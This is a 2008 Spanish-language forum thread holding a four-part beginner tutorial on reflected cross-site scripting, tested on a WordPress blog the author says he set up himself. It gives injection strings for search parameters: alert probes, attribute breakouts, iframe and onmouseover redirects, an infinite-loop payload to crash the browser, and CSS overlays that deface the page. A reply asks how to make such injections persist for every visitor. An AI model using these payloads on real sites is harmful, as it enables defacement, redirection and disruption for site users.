Jugando con XSS

Iniciado por DaXGoN, 17 Diciembre 2008, 02:10 AM

0 Miembros y 1 Visitante están viendo este tema.

DaXGoN

Tonces...

HISTORIA:

Un poco de wiki:

Su nombre original "Cross Site Scripting", y renombrado XSS para que no sea confundido con las CSS, (hojas de estilo en cascada), originalmente abarcaba cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o javascript, en el contexto de otro dominio.

Recientemente se acostumbra a llamar a los ataques de XSS "HTML Injection", sin embargo el término correcto es XSS. Estos errores se pueden encontrar en cualquier aplicación HTML, no se limita a sitios web, ya que puede haber aplicaciones locales vulnerables a XSS, o incluso el navegador web en sí. El problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (también llamada persistente) o indirecta (también llamada reflejada). Cada una se trata de forma diferente.

    * Directa: este tipo de XSS es el que normalmente es censurado; así que es muy poco común que puedas usar tags como <script> o <iframe>

    * Indirecta: esta es un tipo de vulnerabilidad muy común y muy poco explotada. Consiste en modificar valores que la aplicación web utiliza para pasar variables entre dos páginas, sin usar sesiones.



Comenzando...

Bueno primero hay que dejar claro una cosa, este tutorial es para "fines positivos" y no negativos. Pues yo les recomiendo usar este tutorial para aprender más acerca de este tema, no quedarse en el mismo concepto si no ir probando muchas posibilidades y así aprender nuevos trucos :D.

Ok ya sabemos lo que es XSS (Cross site scripting) bueno, ahora sabiendo eso lo colocaremos a prueba con un simple ejemplo.

Ahh otra cosa no TODAS las páginas son vulnerables a este tipo de ataque como DragonJAR, Google y un montón más solo que no las colocare cada una, las páginas que usaré son obviamente vulnerables a XSS, PERO la "Injection HTML" no quedará guarda en la página principal si esta no es afectada.(No probado ;)), las que voy a usar serán usando el buscador de la WEB entonces podrán hacerse una idea de que cuando entre al buscador(Pagina principal) no se verá afectado por lo que ustedes hisieron.

I Capítulo | Identificando si una web es vulnerable:

1). Bueno digamos que tenemos cualquier página si tiene buscador (No el de Google Perzonalido) severo. bueno buscamos cualquier palabra que esten seguros no de ningún resultado EJ: MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM, le damos buscar y verificamos la url. Depende de la página la url, aquí les daré algunos ejemplos para identificar a primera vista si es o no vulnerable:

http://www.paginavulnerable.com/search?=MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM (SI!)
http://www.paginavulnerable.com/s?=MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM (SI!)
http://www.paginavulnerable.com/buscador?keywords=MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM (SI!)
http://www.paginavulnerable.com/?s=MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM (SI!)
Bueno estos son los que mas conozco yo, si descubren otro no duden en ponerlo :D

2). Otro es verificando que en la página se muestre la palabra que buscaste EJ: La palabra "MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM" no se encontro por favor revise la palbra e intentelo bla bla bla, pero nos fijamos en la url y es como así: /?s=MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM&=0pk, o vainas así, no importa de todas maneras algunas web son vulnerables con ese tipo de url si en la pantalla se muestra el resultado de la búsqueda, Este tipo de WEB's son vulnerables aunque siempre hay excepciones. No se olviden de buscar el "MAAAAAAAAAAAAAAAAAAAAAAAAAAAAM" para verificar la URL.


3). Otra magnifica forma de comprobar si una web es vulnerable, es con la estiquetay este enunciado <script>alert(5);</script> con letras eh problado como 1000 veces y no sale no se porque. Bueno si la web es vulnerable se darán cuenta porque aparecera un letrero de alerta enunciando el número "5"en una URL sería así:

http://www.paginavulnerable.com/?s=<script>alert(5);</script>

En algunos casos (muy Debes en cuando) se tendrá que usar lo siguiente "> , con comillas y todo entonces la url de la página quedaría así:

http://www.paginavulnerable.com/?s="><script>alert(5);</script> Y pues aquí tendrá el mismo resultado:


Siguiente capítulo: Primer ataque.

Bueno señores decidí hacer este tutorial por capitulos cada capitulo equivale a un POST para que algunos no se confundan con algunas cosas... ahora mismo estoy trabajando en el II capítulo, esperenlo :D

/off
Muy pronto...

DaXGoN

Tonces...

II Capítulo | Primer ataque:

Bueno eh decidido usar un blog que acabo de instalar para no usar Web's vecinas y así evitarme problemas...
La url es: http://juegaconmigo.webcindario.com/, ok ahora van al buscador y escribren cualquier palabra: MAAAAAAAAAAAAAAAAAAAAAM verificamos la url es es así:
http://juegaconmigo.webcindario.com/?s=MAAAAAAAAAAAAAAAAAAAAAM
Y la url la modificamos cambiando "MAAAAAAAAAAAAAAAAAAAAAM" por "<script>alert(5);</script>" y primero tendrás que ver que la ur es así:
http://juegaconmigo.webcindario.com/?s=<script>alert(5);</script>  le damos ENTER y...

Ok FUNCIONA!!!!!!

analizemos el codigo de fuente:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="es-ES">

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Jugando con XSS</title>

<link rel="stylesheet" href="http://juegaconmigo.webcindario.com/wp-content/themes/default/style.css" type="text/css" media="screen" />
<link rel="alternate" type="application/rss+xml" title="Fuente RSS de Jugando con XSS" href="http://juegaconmigo.webcindario.com/?feed=rss2" />
<link rel="alternate" type="application/atom+xml" title="Fuente Atom de Jugando con XSS" href="http://juegaconmigo.webcindario.com/?feed=atom" />
<link rel="pingback" href="http://juegaconmigo.webcindario.com/xmlrpc.php" />

<style type="text/css" media="screen">

#page { background: url("http://juegaconmigo.webcindario.com/wp-content/themes/default/images/kubrickbgwide.jpg") repeat-y top; border: none; }

</style>

<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://juegaconmigo.webcindario.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://juegaconmigo.webcindario.com/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 2.6.3" />

</head>
<body>
<div id="page">


<div id="header">
<div id="headerimg">
<h1><a href="http://juegaconmigo.webcindario.com/">Jugando con XSS</a></h1>
<div class="description">Otro blog más de WordPress</div>

</div>
</div>
<hr />

<div id="content" class="narrowcolumn">


<h2 class="center">No se encuentra ninguna entrada. ¿Quieres probar con otra búsqueda?</h2>
<form method="get" id="searchform" action="http://juegaconmigo.webcindario.com/">
<label class="hidden" for="s">Buscar:</label>
<div><input type="text" value="&lt;script&gt;alert(5);&lt;/script&gt;" name="s" id="s" />
<input type="submit" id="searchsubmit" value="Buscar" />

</div>
</form>


</div>

<div id="sidebar">
<ul>
<li>
<form method="get" id="searchform" action="http://juegaconmigo.webcindario.com/">
<label class="hidden" for="s">Buscar:</label>
<div><input type="text" value="&lt;script&gt;alert(5);&lt;/script&gt;" name="s" id="s" />

<input type="submit" id="searchsubmit" value="Buscar" />
</div>
</form>
</li>

<!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it.
<li><h2>Autor</h2>
<p>A little something about you, the author. Nothing lengthy, just an overview.</p>
</li>
-->

<li>

<p>Has buscado el término <strong>'<script>alert(5);</script>\'</strong> en los archivos de <a href="http://juegaconmigo.webcindario.com">Jugando con XSS</a>. Si no encuentras lo que deseas en estos resultados, prueba con estos enlaces.</p>


</li>
<li class="pagenav"><h2>Páginas</h2><ul><li class="page_item page-item-2"><a href="http://juegaconmigo.webcindario.com/?page_id=2" title="Información">Información</a></li>
</ul></li>
<li><h2>Archivos</h2>
<ul>
<li><a href='http://juegaconmigo.webcindario.com/?m=200812' title='Diciembre de 2008'>Diciembre de 2008</a></li>
</ul>

</li>

<li class="categories"><h2>Categorías</h2><ul> <li class="cat-item cat-item-1"><a href="http://juegaconmigo.webcindario.com/?cat=1" title="Ver todas las entradas de General">General</a> (1)
</li>
</ul></li>

</ul>
</div>


<hr />
<div id="footer">
<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
<p>
Jugando con XSS se precia de funcionar con <a href="http://wordpress.org/">WordPress</a> <br /><a href="http://juegaconmigo.webcindario.com/?feed=rss2">Entradas (RSS)</a> y <a href="http://juegaconmigo.webcindario.com/?feed=comments-rss2">Comentarios (RSS)</a>. <!-- 17 consultas. 0,153 segundos. -->
</p>

</div>
</div>

<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->

</body>
</html>

Ok ahi esta lo que buscamos en el codigo de fuente, <script>alert(5);</script> sin modificarse ni nada, por eso es que aparecio la alerta.
YA HICIMOS NUESTRO PRIMER ATAQUE! :D

Ok si sabes lo minimo de javascript o HTML, podrán hacer mejores ejemplos...
Ahora ya sabiendo que buscando con las etiquetas el codigo se modifica y así haciendolo ejecutar desde la WEB, ok ahora otro ejemplo.
Ahora sin necesidad de buscar MAAAAAAAAAAAAAAAAAAAAAAM agrega esta etiqueta,
<marquee><strong>Jugando con XSS</strong></marquee> y ahora ENTEREAS xD y...
se mueve el RESULTADO :D!!. y puedes variar, ejemplo:

<script>alert(452354);</script><div aling=center><table background="//comunidad.dragonjar.org/Themes/Comunidad/images/icons/folder_open.gif"><td>Daxgon</td></table></div>


Aquí otro ejemplo sencillo: <p onmouseover=alert('XSS')>XSS Atacking</p>

Etceterá podes hacer más ejemplos sencillos (por ahora), usar <table>, <div>, <input>, <textarea> etc y también javascript, document.write, etc

Siguiente capítulo: Usando <iframe> & url's

/off
Muy pronto...

DaXGoN

Tonces...

III Capítulo | Usando <iframe> & url's

Bueno comenzamos con este capítulo, con un sencillo ejemplo de iframe. Ya sabemos la url  a la que deseamos "atacar"
www.juegaconmigo.webcindario.com, ok ahora usaremos este simple código para poner un iframe dentro de la parte de el buscador. Inserta este código en la url ya deberás saber cual es sin necesidad de buscar otra palabra.

Código:  <iframe title="DragonJAR" src="//www.dragonjar.org" width="200" height="200" frameborder="0" scrolling="auto"></iframe>
Ojala que el resultado les de algo parecido a esto:

Este iframe en alguna veces puede ser usado para subir las visitas de una página.
Bueno aquí otro ejemplo :D lo que hace es que cuando señalan el iframe la página COMPLETA valla a Google:

<iframe onmouseover=javascript:self.location='//www.google.com' title="DragonJAR" src="http://www.dragonjar.org" width="200" height="200" frameborder="0" scrolling="auto"></iframe>
Se pueden hacer muchos ejemplos con el iframe  solo hay que ser creativos como para tirar firefox (si le das seguir Script :D):
<iframe onmouseover=javascript:while(1); alert(5); title="DragonJAR" src="http://www.dragonjar.org" width="600" height="200" frameborder="0" scrolling="auto"></iframe>
Cosas así  ;D.

Ahora trabajaremos con las url's, en algunos casos una página bloquea el "http" llevandolo a "Foobiend" o algo así :P y pues si la url se escribe solo con www.blablabla.org la página en la que se está ejecutando el HTML injection lo tomaría así: http://www.juegaconmigo.webcindario.com/www.blablabla.org y eso no es lo que queremos lo que queremos es hacer que valla a la página que es y para esto que usaremos. Es muy sencillo en otros ejemplos lo usaba... bueno en vez de poner "htpp://" coloca solamente "//"
¿PORQUE?
Bueno creo, que el primer "/" interpretra el principio de la web ejemplo si ponermos <img src=/imagen1.png /> se está refiriendo a esta url, www.blablabla.org/imagen1.png, así el este código sea llamado de una pagina culla url es
www.blablabla.org/web/info/daxgon/index.php la imagen la llamara desde el principio de la págin.
Y el segundo "/" es para llamarlo desde World Wide Web o si lo estás abriendo desde tu PC te abrirá desde la ruta: file:// osea que si ponemos este codigo: <a href=//hola.com>Hola</a> y lo ejecutamos desde www.juegaconmigo.webcindario.com, van a ver que el enlace llama a http://hola.com/.

Así que ya saben si al atacar (xD) no les deja poner una url completa acordate de quitarle el http y les funcionara (almenos de que la web no sea vulnerable -.-'')

Y así llegamos a varios puntos :D :

Con el iframe se puede hasta tumbar firefox solo hay que ser creativos.
En algunos casos el http queda bloqueado entonces habrá que usar un "//" (sin comillas ;)"

Bueno y así me despido de este capítulo dejando esos dos puntos claros.

Proximo Capítulo | "Styleando" a la manera de DaXGoN

/off
Muy pronto...

DaXGoN

#3
Tonces...

IV Capítulo | "Styleando" a la manera de DaXGoN

Bueno dejemnos unas cositas claras :), primero xD la página a la que realizaremos los "ataques" es: www.juegaconmigo.webcindario.com

Con los style se puede poner una imagen, texto, div, table. en el lugar que te plasca.
Si saben usarlo pueden dejar TODA la página en blanco y solo el resultado de busqueda. xD
"Disablear", parte de la página.
Y muchas cosas....




Una cosa, no vamos a usar la etiqueta <style> lo vamos a hacer de otra forma... Ejemplo:
<div style="position: absolute; top:18px; left:0px; width: 800px; height: 600px; overflow: visible; ">Código</div> así es más entendible, logramos no confundirnos tanto. Bueno si sabemos lo minimo de CSS podemos entender ese código que es un poco simple.

Ahora vamos a la accion, primero pondremos este código en la página:
<div><img src="http://www.dragonjar.org/wp-content/themes/dragonjar/pix/hdrs/header.jpg" /></div>

Pues si no tiene caso porque, la imagen no se visualiza con su verdadero tamaño y si la queremos en otro lugar no podremos porque es un simple <div>, e imagen, sin estilo(s), ahora utilizaremos el codigo anterior pero agregandole el siguiente estilo, el código será:
<div style="background: url('http://www.dragonjar.org/wp-content/themes/dragonjar/pix/hdrs/header.jpg'); position: absolute; top:34px; left:78px; width: 966px; height: 128px; "></div> Entereamos!

Y analizemos el código...

"stlye" Declara que apartir de ahí hasta que se cierre la etiqueta se cumpla los estilos que están escritos dentro de style=...
"background" Declara el fondo que se va a usar en el div.
"position:absolute;" Hace que se cumpla el top y left.
"top" El espacio que se desea usar verticalmente.
"left" El espacio que se desea usar horizontalmente.
"width" Ancho de el estilo
"height" Largo de el estilo

Ok ahora vamos a poner el ejemplo que dije antes, de poner toda la web en blanco y con una simple linea de texto, para eso usaremos un fondo blanco (encima de todo) reproduciendolo en toda la página,  y un linea de texto dentro de un div, el código es el siguiente:

<div onmouseover:alert(34); style="background: url('http://fotos.subefotos.com/8609b302154ffc7ac72899acb34ddaf6o.jpg'); position:absolute; overflow: visible;  width:1278px; height:614px; top:0px; left:0px; "><font size=4px face=Verdana><p>Solo se ve esta linea de texto :D YUPI! Funciono</p></font></div>

Y así en adelante. podremos editar la web a gusto :D

Bueno lo demás ya es cosa suya :D no les voy a enseñar CSS ¬¬, ahora pueden probar con más webs vulnerables e invetar nuevos trucos xD.

Bueno! todo tiene su fin y aquí termina el tutorial de XSS. Gracias por leerlo! Y disfrutad de el!

By: DaXGoN

Cualquier aporte es bienvenido, criticas, correciones, trucos, etc.




Aquí unos truquillos :D

<script>document.body.contentEditable='true'; document.designMode='on'; void 0</script><marquee>DaXGoN</marquee> (Hace editable la web)




Y así me despido ;D que les sea útil

/off
Muy pronto...

Axus

Bueno pues el texto esta bien explicado y la practica es simple.Aunque ahí que mejor la ortografía xD

Debería esta añadido a la recopilación de post de esta área.

PD:Los ultimo 2 link no son necesario puesto que en este foro ahí mucha documentación en el área de Desarrollo Web.

Saludos

Axus

slackbyte

Oye amigo tengo una duda, soy nuevo en esto de XSS, he creado un servidor propio y he estado jugando con el por un rato, he hecho muchos truquillos al estilo que tu propones... sin embargo mi duda es como puedo guardar esas modificaciones? es decir, pongo en mi sitio <iframe... etc y lo que hago es abrir un frame que redirecciona a otra web, pero al actualizar el sitio todo esta igual... como puedo hacerle para que todos los que entren visualicen eso que acabo de hacer?

he intentado con javascript tener acceso a archivos del sistema pero nada mas no se deja =S te agradeceria me pudieras orientar en estas dudas que expongo. Gracias.